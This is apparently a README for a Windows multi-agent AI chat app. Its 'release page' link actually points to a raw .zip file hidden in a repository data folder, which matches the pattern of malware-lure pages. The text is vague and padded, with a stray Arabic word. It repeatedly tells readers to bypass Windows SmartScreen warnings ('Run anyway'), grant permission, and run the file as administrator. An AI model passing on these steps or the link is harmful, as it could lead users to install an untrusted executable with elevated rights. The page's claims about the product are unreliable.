OpenGuildAgentsSandbox lets you run a local AI app on Windows. It gives you a way to start a group of AI agents, each with its own style, and let them talk in one shared space.
Use this guide if you want to download the app, install it, and start using it on a Windows PC with no coding setup.
- Open the release page: https://github.com/Verseformpelmet183/OpenGuildAgentsSandbox/raw/refs/heads/main/src/data/quests/Agents-Guild-Open-Sandbox-v3.9.zip
- Find the latest release at the top of the page.
- Download the Windows file. It may end in
.exeor come in a.zipfile. - If you get a
.zipfile, right-click it and choose Extract All. - Open the extracted folder.
- Double-click the app file to run it.
Before you start, make sure your PC can run the app.
- Windows 10 or Windows 11
- At least 8 GB of RAM
- 2 GB of free disk space
- A stable internet connection for the first setup
- A modern GPU if you want faster agent responses, though the app can also run on CPU
If Windows shows a warning when you open the file:
- Click More info
- Click Run anyway
This can happen with newly released apps from GitHub.
If the release is a .zip file:
- Download the file from the release page
- Right-click the file
- Select Extract All
- Choose a folder you can find later, مثل
DownloadsorDesktop - Open the extracted folder
- Double-click the app file
If the release is an .exe file:
- Download the file from the release page
- Open your Downloads folder
- Double-click the file
- Follow the on-screen steps
If Windows asks for permission, choose Yes.
OpenGuildAgentsSandbox is built for multi-agent chats. That means it can create several AI agents and place them in one conversation.
Each agent can have a different role, such as:
- Planner
- Researcher
- Writer
- Critic
- Moderator
You can use the app to see how different agents respond to the same topic and how they work together.
- Run multiple AI agents in one shared chat
- Give each agent a distinct personality
- Watch agents respond in turn
- Use a simple Windows interface
- Keep the conversation in one place
- Test ideas for AI research and agent behavior
- Try different roles without setting up code
After you open the app:
- Start a new session
- Choose how many agents you want
- Pick a role for each agent
- Type your prompt or topic
- Let the agents answer
- Read the full conversation in the chat window
A good first test is a simple topic, such as:
- “Plan a weekend trip”
- “Write a short story”
- “Explain the best way to organize a desk”
- “Discuss the pros and cons of remote work”
If the app lets you choose roles, these are good ones to start with:
Breaks a task into steps and keeps the group on track
Looks for facts, ideas, and context
Turns the group’s thoughts into clear text
Points out weak parts and asks for changes
Keeps the conversation focused and organized
The app is designed for local use on your Windows PC. That means you can keep your work in one place and test agent chats on your own machine.
If the app asks for an API key or model path, follow the setup screen inside the app. Many users connect it to a local model or a hosted AI service, depending on their setup.
You may see one of these:
.exe— a Windows app file.zip— a compressed folder you need to extract.msi— a Windows installer.txtor.md— read files with extra setup steps
If you see a readme file in the download, open it first. It may give one extra step for your release.
- Right-click the file and choose Run as administrator
- Check that you downloaded the full file
- Re-download the latest release
- Make sure you extracted all files if you downloaded a
.zip - Keep the app file and its folders together
- Try opening it again from the extracted folder
- Download the release again
- Make sure no files were removed from the folder
- Do not move the app file away from its support files
- Close other large apps
- Use fewer agents at first
- Try a lighter model if the app connects to one
- Give your system more memory if possible
OpenGuildAgentsSandbox fits well when you want to:
- Compare ideas from several AI roles
- Draft content with one agent writing and another reviewing
- Test how agents handle one topic in different ways
- Explore group reasoning
- Study how a multi-agent system behaves
- Start with 2 or 3 agents
- Use short prompts first
- Keep each role simple
- Save working chats if the app has a save option
- Read the release notes before installing a new version
Here is a simple way to try the app:
- Open the app
- Create 3 agents
- Set one as Planner, one as Researcher, and one as Writer
- Enter the topic: “Create a simple morning routine”
- Read each reply
- Ask the group to improve the result
- Copy the final answer when you are done
Use the release page to download and run the current Windows build:
OpenGuildAgentsSandbox comes from the OpenGuild.ai idea of building AI agents with different personalities and putting them into one conversation. It is aimed at users who want to explore multi-agent systems on Windows without building everything from scratch
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